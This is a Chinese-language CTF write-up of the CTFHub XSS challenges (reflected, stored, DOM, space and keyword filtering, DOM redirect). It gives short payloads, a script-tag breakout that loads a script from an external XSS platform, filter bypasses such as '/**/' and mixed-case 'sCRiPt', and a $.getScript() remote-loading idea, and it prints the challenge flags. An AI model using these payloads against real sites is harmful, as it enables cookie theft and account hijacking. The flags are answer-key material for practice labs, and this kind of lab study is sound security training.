CTFHub技能树-XSS

反射型

打开网站

反射型，直接使用xss平台，将生成的地址传入第一个空

然后将url代码传入第二个空就行

flag=ctfhub{a51bb55f89d068a011466d62}

存储型

打开网站，依然像上面的步骤一样。

区别于前面反射型xss的是，他建立恶意连接是在于每一次都要发送含恶意代码，而这个存储xss不需要，一旦发送过一次，以后每次访问它时，都会含有恶意代码

flag=ctfhub{1cef0cbbc0bb33244d4a5c76}

DOM反射

查看源码位置

需要闭合前面的 ‘ ，所以只需要在xss注入时前面加上’; ，然后把后面的’;注释掉。

由于前面没有东西了，所以

1	</script><script src= >

其余步骤一样

flag=ctfhub{aebf8f6244f0ad340612cc6e}

过滤空格

步骤一样，空格可以用[/]或者/**/代替

flag=ctfhub{9830f9e82cfbc1e77a1d0dae}

过滤关键词

先用探针试试

1	<script>alert(/xss/)</script>

发现没有

script

所以是过滤了关键字script，可以使用大小写绕过，用sCRiPt

flag=ctfhub{9f0740745ba9e7b754658614}

DOM跳转

分析一下，代码意思是从当前页面的URL中获取查询字符串（URL的get参数），如果参数名为”jumpto”，则将页面重定向到参数值所指定的URL

<script>
        var target = location.search.split("=")
  //以等号分割成两份，一份是参数名，另一份是参数的值（可利用）
        if (target[0].slice(1) == "jumpto") {
  //其中target[0].slice(1)是指去掉?后面的参数名
            location.href = target[1];
  //如果参数名相等，就location.href（表示页面跳转）到target[1]，也就是参数的值
        }
</script>

可以利用js代码和 jQuery 的 $.getScript() 函数来异步加载并执行来自 xss平台的 js 脚本，使用前提是网站引用了jQuery。